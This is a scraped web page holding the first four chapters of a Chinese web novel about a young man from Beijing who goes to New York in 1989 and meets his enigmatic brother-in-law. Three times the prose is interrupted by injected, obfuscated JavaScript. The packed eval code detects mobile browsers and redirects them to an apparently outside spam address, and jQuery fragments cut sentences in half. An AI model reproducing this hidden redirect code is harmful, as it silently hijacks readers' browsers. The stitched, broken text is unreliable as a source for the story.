《九零之华尔街泡钓系大美人》 1. 美人寄我香笺字 跟上级部门掰扯了一年多,项廷的申请报告总算批下来,谁知他又把机会扔了。 这是1989年开春的日子。项廷一拳头砸向“欺负”过他姐的地头蛇。 大家见到他小牛皮靴,敬着礼目送;群众围观他被带走,都嘀咕这小子逞意气葬送了自己的前程。毕竟项家已经今时不同往日了。 受害者送急诊。目击者口供称,项廷活脱脱一条小疯狗,完全杀人现场,八个卫兵护驾神仙难救,描绘得很是热火朝天。隔壁的审讯室里却一片寂静。主审官还在路上,据说自行车堵车了,只有两个小民警坐镇。 项廷都被上了十字交叉的背拷,男警还作着预备扑敌的姿态。女警更是紧张兮兮,飞快兜一眼项廷,红脸,定身,低头,用力眨眼缓冲,循环。 刚满十八周岁的项廷,有一张青涩却不乏攻击性的脸,就像雪原上的一匹小狼。即便稚拙,人和狼的对视也总是与野性的直面,一线生死间本能地敬畏。是有正气,但更像一种带着立场的杀气,天生小危险分子。 这样下去不是办法,警察硬着头皮开口:“我们现在是有法律的…先不说法律,那么多人看着,是不是也不太讲究啊?打人这个行为,本身也挺不尊重人嘛。” 项廷说:“我可以讲究,别人讲究吗?尊重得有个限,尤其是对王八蛋!” “法律面前哪有你这一套…” “做人总得有点原则对吧?你们要是早点讲法律,我至于动手吗?法律上本来早该完蛋的人,我帮忙送个行怎么了?” 姐姐的到来才打破了僵局。项青云梳着与国际接轨的撒切尔发型,挺着个大肚子在值班台那周旋了几句话,拘留室的大门就敞开了。她没有直接求情,她迂回暗示,斗殴的背后有着复杂的因素,台面上解决不了。 出了警察局的一条街,项青云才拉下脸:“你这狗脾气为什么还没改?好歹也是带过几个人的人,怎么还这么一头犟劲儿冲啊?” 项廷怕聊太深,勾起姐姐的痛苦回忆。刚才还是狠巴巴的他,现在只嘟哝了一句:“搂不住火,管管。” 项青云说:“还你管管?到了这儿咱归人家管,你真别有一点脾气。我看你这专业,也就是公安局刑警队能搭上点边,要派你去当基层警察,你去不去?” 项廷双手交叉枕在脑后,边走边望着天:“不去,我要做个自由自在的公民,刚脱了军装又换上警服,那我回家来干吗?” 姐弟一前一后走着,都不大想回家的样子。项父脑溢血偏瘫,家族便因山山头头的原因光速衰落。项廷回北京的第一天,只见家具都盖上了白布等待法院拍卖。入伍前多么烈火烹油,回家后就有多清水冷灶,项廷一连几天都有点懵。 项青云问:“那你打算做什么营生呢?爸爸已经那样了,咱们两相依为命,往后谁都靠不住。你今天争这口硬气作什么用?惹这么大的事,问题不解决,恐怕爸爸的朋友都不会收留你了。” “不知道,反正我感觉该我干大事情的时候到了。走吧姐,先吃饭。”项廷走在前边,回头一笑。阳光下的笑容颇有感染力,让姐姐忧虑的心也稍稍明亮了些。 项廷这一代没有经历北大荒的悲壮和上山下乡的磋磨,有种纯真的激情。昨天好几位同学找到他,说他不笑时就酷酷的,像电影明星,一张证件照掀起四九城腥风血雨,可以来当时装模特吗?酬劳虽然不多。总之怎么都能通罗马,八九点钟的太阳,从这世界上哪条地平线升起来不是活泼泼的希望? 项廷帮姐姐竖起大衣的领子挡着寒风,然后跑到街对面买姐姐爱吃的素包子。队伍挺长,这个时间是工厂下班高峰。包子铺前,两个高级工程师见面,他俩的对话是: “嘿,出国的事儿怎么样了?” “差不多了!快了,快了!” 人类是一代一代进化的。但是在八九十年代,一年进化一次,那会儿就是这样瞬息万变。全世界都在密切地注视中国的进化,眼见着在领导人一而再、再而三“不会变”的保证声中,留学政策一次又一次放宽。出境卡取消了,海外学习期限不再提了,因公护照能换成因私护照了。有人偷偷把“出国热”形容为“胜利大逃亡”。 刚出炉的包子买到手,项廷的心也热了起来。 隔日,小雨。 东城王府井南面有一条僻静而狭长的小街,叫东交民巷。当年义和团正是在此围攻各国使馆,最终导致八国联军入侵北京。那最西头,有两扇极不起眼、红漆剥落的小门。 门前挂着牌子:北京市公安局签证科。 这便是“国门”了。 国门虽小也是国门。靠西的那扇门通向欧、美、加,东边的负责港、澳、日。 8点多钟,项廷来办护照。签证科还没开始办公,门外已经围了几个连队的人。9点整,一直毫无动静的小门突然打开,人群如潮涌入。 小门里面是一个前后贯通的套间。外面不到二十平米,左边墙下一排竹椅子,右边墙上贴满了五花八门的暂行规定,桌上搁一张来访登记表。里间的门依然紧闭,谁也不知道里头在捣鼓什么。有人一回生,冒冒失失去敲门。出来个民警,指着鼻子训了一顿,又把门摔上了。大家只好等,等啊等,有人进进出出,有人大背单词,有人闭目养神,有人忙着社交。 一个出国信息角很快形成。“教委刚发新文件了,以后研究生都不让走了……”“圣诞节申请去美国的500多人,您猜怎么着?一个没过!”“加拿大容易,先去加拿大再到美国,曲线救国……”颇具言论自由。各种道听途说,说者概不负责,听者也不认真。重点是在这种场合,没人追查你是哪个单位的。 民警开始传唤了。每次叫进去两三个,人一进去门就无情关上。大家看到国家机器开始正常运转就耐心了。 项廷被召进去的时候,已经下午3点多了。三堂会审,项廷闷声不响地坐下来。 “干嘛的?” “探亲。我姐夫有绿卡,是美国人,比洋货还洋货。” 民警问完就罢,也不查他的表格,啪的把大红章一盖。护照那时属于特权一类的东西,项青云发挥家族的余热打过了招呼,没什么好担心的。 但是次天去办签证,难度陡增,美国大使可不讲中国人情。姐弟俩一起来到秀水东街的美国大使馆,出门前,项青云给弟弟套上造价昂贵的粗花呢西装:“签证就像结婚,事关终身,一点马虎不得。” 项廷肩宽腿长,穿不住紧巴巴的衣服,松了两个扣子仍不自在:“姐,说你自己呢。” 姐姐的这个丈夫谁都没见过。听说两个人都感染了欧风美气,以充满活力的西学东渐形式,随便找了个旧租界里的小教堂,宣个誓就算把婚结了。姐是长姐,半个主母,竟没人奈何得了她。不但如此,亲戚还都对这桩诡秘的婚事沾沾自喜,逢人便说。只因现在相亲市场上,最抢手的就是“海陆空”。“陆”革命后落(陆)实政策有被退回的财产;“空”要有一套现成的(空)婚房。头一个“海”,就是说要有海外关系。 美国使馆就是光秃秃一个大院。进门前,先交表,两位文秘检查各项文件是否齐全。大家被领进屋里。屋中央摆着一个单调的屏风,屏风后是办公窗口。有人探头探脑,从缝里往里张望。不知怎么,这个行为一下惹恼了领事先生,猛然冲了出来:“你!你!还有你!回去!”几个人吓傻了,一个劲说好话,有个女生哭了。秘书赶人:“洋人说话了,我也没办法。” 项廷不在连坐的范围内,但他站起来护在同胞前头,高头大马的洋人看他两眼,没再说话。 大家得救。项青云忙把他拉回来坐好,低声道:“好了,好了,你别紧张。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398188|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >项廷说:“有什么可紧张的?我出去后混得差不了。瞧好儿吧,等没几年住的房子和开的车子,有个副部级的待遇了,头一个就把你们都接走。” 项青云笑了说:“一嘴贫劲儿。” 等待期间,不时有人神情壮烈地从里屋出来。一个山西老总的经济证明领事拒不承认,另一个书生气的小伙子也遇到大麻烦,正使劲向小窗口里解释。他一直在美国读书,国内妻子得了绝症,他只好赶回国。落地头天,妻子不治,他想回美继续学业。悲惨故事没能打动美国人,小伙紧紧抓着围栏竟无力地跪了下去,叫着亡妻的名字:为什么我得不到人权?凭什么我的人生这么苦? 听得人恻然心碎。眼见着无数个支撑了数年生活的梦在眼前破灭了,多少人把一切都押在出国这一个宝上,不惜花光几代人的积蓄,变卖祖产,妻离子散。 项青云忧心忡忡:“等会要是问你姐夫什么样,你什么家庭,怎么样说?” 项廷轻轻松松:“在纽约银行上班,阔,非要给我当担保人。我是知识分子家庭,全家没有参加任何组织。但我想通了,和小资划不清界限索性不划了,斗不过只能加入了。” 轮到项廷了。 “你为什么要去美国?”领事小姐很是礼貌,不像传说里天一黑就吃小孩。 项廷大大方方皱了皱眉:“我听不懂,你能讲中文吗?” 能坐到这个窗口的人,即便英文不流利也练过了基础的问答。项廷这种情况百里挑不出一。 领事就不改变语种:“你在美国待多久?” 项廷文不对题:“找我姐夫。” “名字?” “我外甥都要生了,他还不回来,这种人是不是太混球了?” 领事紧盯:“他已经移民了?你对移民怎么看?” 项廷听烦了,反客为主:“你不懂中国话怎么来中国的?” 领事由衷地沉默一会,再张嘴,京腔地地道道:“北京有房子吗?” “哦!那可太多了。” “欢迎你。”领事小姐已经按铃在叫下一位,微笑,“下个礼拜五来取签证。” 一切竟如此简单,简单得甚至令人失望,项廷本以为有多惊险刺激。激动人心的场面,却出现在走出使馆大门之时,原本缩了脖子站在干岸上的人群马上蜂拥上来。大家都惊呆了,前脚还在暗地里嘲笑,字母表都不会背的小炮儿,没文化真耽误事,后脚发现项廷竟成了一个月来屈指可数的幸运儿,黑天鹅事件,垂范青史。兄弟们在当下最时髦的餐厅肯德基给项廷送别,谈起神奇的过签经历,大家都笑骂,你丫就吹!最后喝大了乌哩乌涂地一块嚎《我爱北京天安门》。 半个月后,首都国际机场新候机楼。安检的门前,项青云还有点不敢置信。一环套一环的顺利,或许这就是时也命也吧?说着说着,她好几次忍着泪别过了脸。 项廷心有不忍:“要不等你生了吧。” 项青云说:“别说没出息的话,男儿当然要去走四方。像我们这样庞大的家族,要是后代们无能,铁定守在家里为一点遗产头破血流、你死我活;相反,但凡争点气的孩子,一定会去闯天下干出一番事业。中国人走到哪里都是一大家子,现在千千万万的青年敢于到海外去开疆拓土,这就是下个世纪国家兴盛的兆头。” 项廷扶住她的肩膀,项青云的清泪才滚下来:“你这一去,不要挂念家里,能不回来就不回来。青山不改,绿水长流。疾病生死,各安天命。” 项青云掩面哭泣之间,项廷不愿她越惜别越难过,已经心一狠无声走了,只留下一顶洗得发白的海蓝帽子。 十几个小时之后,当他松开座位上的安全带时,这次国才算是真正出成了。然而此刻的项廷还一无所知,一个什么样一半民主自由、一半神秘新奇的新世界正在等待着他。 2. 懒拔瑶钗慵脱簪 飞机比计划提前了半小时降落,可是停在跑道上,迟迟不上廊桥。项廷从圆圆的舷窗往外看,由于时差,横跨东西半球只过去了几个小时似得。姐姐的“为国争光”犹在耳边,项廷已经茫茫然置身于世界第一大都会——纽约肯尼迪机场川流不息的人流之中了。中美的国力差距少说几十年,项廷如同快进了一个世纪。整个世界就像舞台布景,眨眼工夫全换了,就这么稀里糊涂。 一般人初到美国,都有种下乡人进城的笨拙,甚至一下子残废了。首先必然长时间陷入一种半聋半哑的状态,别人是英语听说两项不行,项廷是读写都抓瞎。 比如飞机上便要填的入境海关申报单,项廷一开始睡着了没拿到,睡醒了见别人都有的东西他没有,举手说他得有。拿到手,CBP Form 6059B,只认得6059。于是雅贿旁边亚裔面孔的女士代填,女士只有一只铅笔,斟酌完自己的刚要填项廷的时候,项廷已经要到一份中文的表。足足地彰显着东方文明古国的谦抑气质,项廷等了好一会,大伙还在咬着笔头审慎苦思,偌大的机舱里他最早交卷。 送表申报、排队入关后,项廷找不到托运的行李了。一个访问学者使团遭遇了相同情况,在迷宫一样的大厅里东张西望。项廷若无其事的样子溜达两圈,靠着日语指示牌里的中文字,寻摸到服务柜台。他没先问自己的行李,而是原路返回把那个会讲英语的使团呼过来,工作人员就把他们的问题一块打包解决了。 别人提心吊胆,项廷却是如此之达观,出国对他来说是一场华丽冒险。和平年代没有仗打,干什么都让他提不起劲来。美帝,刺激!英语?英语这东西只要是个人逼一逼就逼出来了,他又不蠢。 然而迈出纽约客生活的第一步,得先找到他的姐夫。 姐姐说过,你姐夫会提前一小时来接机。你朝人群里一眼抛过去,那个最有风度的华人绅士,就是他了。项廷问长相,姐姐说成功的人都不丑。 机场大门堵得全是人,项廷特意等这一批旅客走干净了才出去,这样搜寻范围就小了很多。剩下来接亲友的中国人里,举着的牌子没一个写项廷的名字。项廷忽见有个中年男人,穿着西装,热情地专门向他招手。项廷满脸灿烂的笑容,走过去时竖起两根手指碰碰帽檐,潇洒地向外一甩,行了个漂亮的美式军礼,比美国大兵还标准。 “Follow me, follow me!” 项廷被这人嘴里突如其来的英语搞懵了,姐夫难道只会说洋文?在西方呆了才多久,就高雅了,可不能冒昧。 项廷用得体的肢体语言表达了困惑,却听到男人自称姐夫。姐夫帮他提着行李就走,刚出机场,迎面上来一个一步三晃的黑人司机,不由分说就把行李转移到了车的后备箱里。 车窗外上下四五层的立体交叉公路,望不尽的车灯耀人眼目。当汽车从海底隧道爬上来时,整个纽约梦幻得像一座天空花园,这才透明般地展现在项廷眼前。 直到项廷“得得得”地叫了停,他眼看着车前头计价表的指针由50美元跳到80美元,又往上飙升,发觉事情不妙,让“姐夫”停,又让司机别管什么地方,马上把他放下来。 人是下来了,行李还在上头,项廷吃车尾气。项廷狂奔不舍,着实追了一条街,但两只脚的哪能跑过四条腿的? 这就是美国给他的见面礼?要不是下车,下一步是不是送进诈骗集团,被扔到沙漠暴晒,打到大小便失禁,被卖去公海割器官了? 这是哪啊? 四十二街。街的东边是联合国总部所在地,街的西面是中国驻纽约总领事馆,街的中间夹着一个大名鼎鼎却又小得不能再小的时代广场。 开门红。项廷受了点打击,不大。证件和钱都随身揣着,不拖着行李人也轻便了。乱七八糟想着事,到了时代广场。一群鸽子在那里啄食,这里的鸟不怕人,赶它也不飞。印第安人推车卖龙虾和海豹肉,装在桶里的法棍像金箍棒。走进超级市场,看看物价倒也不像国内谣传的那么贵,这片土地被中国人想得太神奇了,项廷发现同胞一点自信都没有。他转来转去,心里琢磨着能在其中扮演一个什么角色。干收银员估计是不行,顾客说话飞快他听不懂。黄马甲的店员推着车往货架上堆货,项廷装作选商品靠近,瞟着眼看美国人怎么工作。 项廷一直待到超市关门。入了夜的四十二街,就是纽约市最猖狂的露天性市场。 驻足观察一会,就会发现这里四面八方地展示资本主义的荒诞:大厦里各国外交官每天在一本正经地研究世界和平;穿梭的各路精英一心正为华尔街的股票价格、银行的利率和公司的销售额而忧虑;而同时街边数不清的色情影院,一张过夜门票只要3美元。商店里廉价甩卖成人杂志,性/爱娃娃的造型千奇百怪。光天化日之下,衣着暴露的女郎公然招揽路人。 蜂也喧喧,蝶也翩翩。项廷刚在长椅上坐下来,一个美国甜心就把手攀到了他的肩膀上:“一个人吗?我这里的姑娘可寂寞了。” 项廷看见周围还有几个姑娘在徘徊,猜到她是拉皮条的,僵得像块石头,沉住了气连声说了七八个No,掷地有声。 在性方面,美国60年代的流行口号是干就是了。到了90年代已变成,戴上套就是了!中国此时什么样?一方面国家重视未婚青年的配对问题,另一方面,管制无孔不入。公共场合的亲昵行为被视为异教,不时有戴着红袖章的纠察队在公园巡逻,强光电筒对准黑暗中亲昵的恋人,大声喊:“精神文明!精神文明!” “呵,你不想要这个。”妓女嘻嘻直笑,“别在意。我这里还有许多男孩子。” 接着,她就开始向项廷描绘起同性之间爱爱的各种玩法…… 项廷一个字也不理解,她涂着红甲油的手指便顶成一个犄角,模拟激烈击剑的样子。 项廷比了个6,放到耳朵边上,代表要打电话。他带了一个大哥大来,可是姐夫的号码拨不通。他怀疑是无线信号不行,那找个座机试试。刚才在超市里,他就一直借电话,连线总是失败。 妓女把他带到一家小店,努努嘴示意他去柜台那找。收银机旁边的电话欠费了。 妓女耸耸肩:“商店都关门了,想去我家吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398189|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她家公寓的楼道里静悄悄的,看样子住户们已经入睡了。项廷瞧着和北京的筒子楼也没区别,而且因为治安好,好几家门都没锁。 然而,物以类聚。到了三楼,一道虚掩着的门后传来令人脸红心跳的声响。 项廷现在无暇他顾,匆匆要接着上楼。 这时里头突然尖叫着跑出一个黑人小女孩。 门也随着开了,气味呛人。浓浓的香烟雾霾里,两个长毛猴子似得男人一/丝不挂,嘴对嘴不分你我,俩男的! 项廷大脑断了电。但是男人凶神恶煞地追出来时,他下意识护住了向他跑来的小姑娘。 半个小时后。项廷到达异国的第一站——纽约警察局。 警察说:“你先是砸碎了一个书架,打烂了一扇门,最吸引人眼球的是,你跳起一脚踢掉了挂在两米多高的天花板上的吊灯。所以你的名字是什么?Bruce Lee吗?” 项廷路见不平,以为那两变态虐童,替天行道的过程中小女孩跑了。遂邻居报警,项廷被指控破坏公共安全。因为语言不通和黄皮肤,先动手的白人倒没事人一样走了,独留下项廷。项廷知道自己现在最好一动不如一静,否则事情不但没有一点转机,反而一步一步往坏的方面滑下去,于是只出示了姐夫的号码,让警方帮忙拨打。 有个狱友把晚餐没吃完的面包翻出来,让他凑合一顿,项廷也不敢吃。饥肠辘辘熬了数个小时,胃都要翻过来了。项廷想,在这里混一夜也好,挺带劲的,只是让那两个白人孙子轻飘飘走了,一股不平之气又一涌一涌冲上来。 另,想到那两人光着身子干的事,项廷震撼之后只剩下一个字,吐。 辗转反侧。直到次日凌晨,他才被带出拘留室。 一个戴着墨镜的高大男人终于来接他了。 这个男人似乎充满猜疑地望着自己,好像是在研究他的一切。男人带着律师和警察叽里咕噜交流的时候,项廷眼眯了一会也同样在观察他。这个姐夫无疑很是英俊,但这种英俊有点太虚飘太夸张了,类似猫王一样。好像是功成名就了,挺不可一世的。机场谎称是姐夫的骗子,长得就像个奇形怪状的芒果。总之直觉加上经验主义,都告诉项廷,吸取教训,这次必须要多考察一下。 项廷装作去洗手间,走出警局大门时藏在柱子后面。不锈钢的柱子上幻出他变得狭长的倒影,在街对面霓虹灯的闪烁中一明一暗。这时一辆轿车开来,在那倒影上碾过,那强烈的光一晃就消逝了。 车在门口停下,那个猫王走过去时摘下了墨镜,斜倚在了车边。项廷这下彻底看清了,俨然是个混血的长相,他就说这个人又不是他姐夫,美国骗子,你糊弄鬼去吧! 那香槟金的车身艳光四射,驾驶座的窗子伸出一只夹着细雪茄的手,世界名瓷般精致。 馥熏恼人的烟雾在他那指尖曼舞,春风吹动柳千株。项廷感觉心好像被猛的提起,又轻轻放下。 接着他便呆望着见到,车外的男人面带微笑作出浸淫名利场的轻佻状,摘走了那根燃到一半的雪茄,无比自然地放到了自己的唇边。 3. 红药艳态娇波注 “Lanny,不是说过我会搞定么?你其实不必专程过来。” 那一身贵气的混血男人把雪茄一晃,用含着笑的眼光去问他,对方只装着不懂似得。 蓝珀这个人从来也就这样,猜不透他怎么回事,明明是有了意思,临阵又滑脱了。让人心里慌得猫抓抓似得,丝来线去便你觉得怎么好怎么就好了,忍来忍去自己也没个气性了,想对蓝珀做出点真生气的样子更来不及。打着圈儿围着他转的太多人便成了守护恶王的骑士,乃至久而久之产生一种受虐的快意。分不清欲胜情,情胜欲,反正到头来谁也没能得到这二者的一点。 蓝珀身穿考究的西服,右手悠闲地搭在方向盘上,把衬衣袖子慢慢地卷上去,银戒银镯银铃铛,无比单调的银饰中无名指戴一颗帝王绿翡翠,付之一笑却没有看他:“谟玺,很感激你,不过这个属于我们家里的事情。” 有只猫正在车轮旁边弓起背窥视着他们,后身翘起,发出低沉的“呜呜”声。在寂夜中听得清清楚楚。 这样僵持了有两分钟,白谟玺仍然深感好笑:“这跟把一个半大的儿子送给你养有什么区别?是不是就算是个苍蝇你也要‘忍辱负重’咽下去?那件事过去十多年了,你一定不想再见到那一家人。以后两不相欠道路朝天,你心里也不必七上八下的受刺激,不好吗?陷到里面一辈子都不会安心。把他忘了,就当作为了你自己。” 蓝珀正在用雪茄剪削去头部的一小部分,香气在口中徜徉了一会,才缓缓地、优雅绰约地将烟雾吐出:“了不得的口吻,一定先把一定说了,我就一定不好意思把你堵回去了。可我们能换个更有私密感的地方深聊,不在路边?感觉那样更有意思。” 蓝珀朝警局的方向别了别脸,白谟玺顺着他回头见到项廷一脸的笑,倒有些意外。就在那一刹那,那只猫一弹,蹦得老高朝白谟玺脸上飞过来。他头一偏让开,顺势看去,那猫轻捷地着了地,一溜烟跑了。 白谟玺看了看猫,又看了看项廷,好像在说你上个洗手间也太迅速了吧,保释的手续结完了吗?项廷临场编的,说警局有只猫不见了,他顺道就来找找。 博得蓝珀一笑:“谁还管猫儿狗儿,人都管不了。书包拿了吗?拿了就上车。” 车窗早就摇上了。项廷也不知自己犯了什么样的弥天大罪,还是别的不如意,让姐夫把怒气迁到自己身上来了?首先,接机迟了二十多小时,足够他再从美国飞回去。其次,电话无论如何都打不通。现在竟已经嫌恶到初次见面一个正眼都不给了吗? 项廷不解得没动,也怕犯了姐夫的忌讳,好像动一动脚就会踩响地雷,只好纹丝不动。 蓝珀依旧是只闻其声的状态:“忘了介绍。Moses·White,白谟玺。以前是演员,现在是我老板。” “说笑。我只是Lanny一位非常忠实的朋友,可并不是一个有容人雅量的老板。”白谟玺有点神秘涵义地说,笑着伸出手,“项廷,总之,见到你很高兴。” 项廷握了手,道了声好,默默钻进了车后座。 白谟玺体贴:“我来开吧。” 蓝珀却回他:“你好厉害,跑到这里喧宾夺主,还放一个人情给我。” 白谟玺上了副驾驶:“不舒服别勉强。” “别阴一句阳一句说风凉话。”蓝珀把烟灭了,车子启动。 项廷始终一言不发,倒不是赌气,更不是有志做出高傲冷淡的样子。对于目前的情况,他尚且下不了定论,只能观察。想到这两人刚刚换烟抽的场景,一股肃杀的寒气便从脚底窜上天灵盖。 他全身神经都集中到耳朵上来了。其实,项廷到现在也没见着姐夫的正脸,面孔的轮廓都不知道,遑论五官了。可但凡一想这两个男人之间某种不可言说的朦胧,项廷从侧后方看去,姐夫那衣服腰部细微婀娜的折皱传达出的那点什么也是绝对刺激想象的,更别提他那意懒情疏的嗓音了。或许有的人听了痒酥麻,项廷只感觉那就像指甲在黑板上画画,刺得他快聋了。 视听两大方面,都让项廷堵得难受,跳得厉害。 车不知开往哪里,前座的人有一搭没一搭聊着天,没人注意项廷孤零零的存在。 不知过多久,蓝珀终于说:“一直打呵欠,飞机上没睡吗?” 项廷说:“睡了一会,不敢多睡。” 白谟玺说:“什么叫不敢?你是飞行员,睡着了飞机还能掉下来?” 蓝珀打个方向盘,手稍稍一动,那些繁复缤纷的银饰就会互相碰撞发出可人的声音,轻轻揶揄着:“哪都像你,没有事,吃了就睡,睡了就吃,跟头什么东西一样。” 项廷说:“我姐让我给你带了一包点心,我护着,怕丢。” 蓝珀微微诧异:“哦!谢谢,放那吧。” 项廷:“已经扔了,豌豆黄都凉了。” 蓝珀听笑了:“跟你说话还挺有意思。抱歉,我来晚了,因为在凯悦酒店的雨果餐厅给朋友过生日。” 项廷无话可说。于是当蓝珀问他来美国什么计划时,他有点自暴自弃地说:“随便吧,天无绝人之路。” 蓝珀又懒洋洋的不打算说什么,过了一会还是开了口:“纽约可不养闲人,你也得混出点名堂争口气吧?要是像别的中国人到餐馆里打工,不是长久之计,也可惜了你自己。你刚来比我刚来好多了,至少有了打商量的人。依我想,你只有去读书,拿个文凭也好向国内交待,回去威风大着,万一不行退出来再找工作。” 白谟玺头一次听他居然如此热心、多话,饶有兴味地看了看:“我觉得困的是你。” 蓝珀说:“说困也困,说不困也不困,没人陪着没有事做只能困了。” 白谟玺说:“那你肯定是醉了。” 蓝珀不搭茬,把话说回来:“你的英语怎么样?” 项廷的不回答就是一种回答。蓝珀便说:“先去上语言学校吧,我这就找人写封推荐信给你。” 白谟玺说:“看我做什么?” 蓝珀笑道:“看你呢,人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398190|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白谟玺也笑:“别的男人在你眼中就不是人吗?” 蓝珀说:“找别人,冒不起这个险呀。” 项廷闷闷地表示,不想念书,学校也不见得收他。 蓝珀没把话说太死:“事情都是人做成的,说不定就争取到了。” 白谟玺看似打圆场:“不想去也别强迫,可能是怕听不懂课,丢了中国人的脸。” 蓝珀说:“别想着自己就代表了中国人,你还没有那么大的面子。” 项廷听着若有似无的风言俏语,昏昏沉沉。 接着,蓝珀转过来“关怀”他,表面上拉家常,实则问到签证的期限问题。项廷说那就是张纸罢了,他拿到手便没多看。憋着气说,他跟领事就没讲英语,证明做个原汁原味的中国人也能在美国吃得开。千军万马过独木桥,领事选中了他必有他的过人之处。蓝珀听了才几句便了然于胸,笑了出来。他说恰恰相反,美国最怕移民,领事小姐正是觉得你不通英文,人又直爽地不学习,混不下去就要回来继承北京的房产才给你过的吧?项廷涨得一脸通红。白谟玺岔开话题,说到警察说你在机场被人骗了,怎么一回事?项廷说那骗局吊诡,那人明明就自称姐夫啊?蓝珀说,你去上一天学,就会知道英语里有个名叫Jeff。 蓝珀淡淡的一言半语,就把一个高中年纪的半大男孩自尊心击溃,觉得自己一钱不值,吞了铅球一样坠沉沉的。 项廷忽然冒出来一句:“语言学校是封闭的吗?能打跨国电话吗?我姐下个月就生了,我得和家里保持联系。” “当然可以。”蓝珀就说了这四个字,只字不提他将要生产的结发妻子。 “姐夫。”项廷郑重地叫了一声,暗暗攥紧了拳头,“那我外甥的名字你起好了吗?” 蓝珀从容道:“这种差事就交给青云吧,青云是大学教授,有学问的女君子。我现在提笔忘字。” 白谟玺说:“我的中文名不是你送的?” 项廷愕然地还没说话,蓝珀说到了,给了他一个牛皮袋,就让他下去。 眼前就是一栋老旧不堪的公寓,墙上满是血腥暴力、邪教色彩的涂鸦,醉汉游荡,犬吠不断。 蓝珀报明细账:“这几层都太超预算了,我给你预订的是地下室。租金押金一共九百元,加上今天我借给你的三百元,一共是一千二。至于语言学校,如果你申请不到借贷,我们再聊。我明天要去度假,有事联系我的助理。” 寒气袭人,项廷木得像块铁。萧瑟的风吹坏了路灯,一闪一闪。 甚至都不关心这位远道而来的便宜弟弟走了没有,那两人都没下车送一送,开出去没多远,似乎实在难耐,便旁若无人地调起情来。项廷透过车的后窗遥遥地看去,并不真切,挡风玻璃那挂着几条嵌花精美的银蝎子,一帘幽梦般摇啊摇着的。貌似是白谟玺把对方那一笑理解为含蓄的允诺,倾身过去时,蓝珀却漫不经心地把手一伸,将一截香灰轻轻地掸到了白谟玺胸前那朵吹成花型雪色的口袋巾上去。 4. 青丝络马黄金勒 种种不堪入目的画面把项廷控制住了,前所未有地茫然,暂时都没上升到愤怒的层面。 来之前,他只以为姐姐青眼相中神交已久的人,错不了。至多是被打过预防针:环境一变,什么都得变。人到了地球的这一面,什么都得翻个跟头。美国不是人情社会,小家庭之间楚河汉界,姐夫和妻弟不存在人身依附关系,帮你是情分不帮是本分。姐夫值不值得信任,能提供几分照顾,全看老天。 然而事到今天,重磅炮弹把项廷炸平了,他怀疑这简直就是一个阴谋。姐夫在人伦道德上已经彻底完蛋了,骗婚、抛妻、弃子,太下流了太卑鄙了,人妖颠倒!一个男人能和另外一个男人有这样热烈的友情他佩服透了,八体投地! 项廷毕竟年轻气盛,呆了会儿便激动起来,飞似的拼命追上去,黑沉沉的夜色里一道电光残影。 后视镜的人影远了又近近了又远,白谟玺好像看不下去了:“胡萝卜吊驴似得,停一下吧。” “他都看到了我不是个好姐夫,又跟你关系不比一般,停下来让他瞪圆了眼恨我吗?” 蓝珀的五指在窗沿上捏拢着,可一眼不看那后视镜。他的瞳色比一般东方人要淡,呈明显的琥珀色,泪水若困在里面一滴也洒不出,泅游着便成艺术。澄澈的一双松脂,什么山花水树鉴照在上面都是无与伦比美丽的。可白谟玺更想知道他的心此刻是不是狂跳不止。 白谟玺说:“你弯弯绕绕,小孩也许不懂。” “想一想就懂了。懂里哪怕有些糊涂,时间久了总是明白占上风。像我当初。” “凭他还追上来我就说他还不懂。” 白谟玺道,“停吧。对小孩一甩了之的事,你还是做不出来。” “我没做过吗?你们美国的小孩我就从来不理,怕他们大人以为我是什么人。我不是白人,他们多一个心眼,千防万防也不奇怪。”蓝珀几乎看不出地失笑一摇头。 “Lanny,别想着转移焦点了。还是说回正事吧,总之,今天看这一眼也就够了。” “我哪里看了?” “我替你看了。我看到一根带电的电线,难说他究竟有多少瓦。” 白谟玺一笑,“小孩子火力旺,不晓得不可以太缠人。” 急转弯驶过几个街口,后视镜里的人就消失了。等红灯的时候,蓝珀有意无意地把背往后面一靠一靠,要把座椅降下来睡觉似得。白谟玺看他精神放松了些,就提议在24小时自助的药店停下来。 买好药回车上时,白谟玺坐到了驾驶座上。向右一看,蓝珀的左脸伤势恶化,像发炎了。 蓝珀之所以迟到,哪里是因为生日派对。是他来机场的路上出了车祸,碎玻璃刮上了脸,大腿软组织挫伤。 白谟玺道:“怎么不给别人看到?不想今天又多一个小崇拜者?” 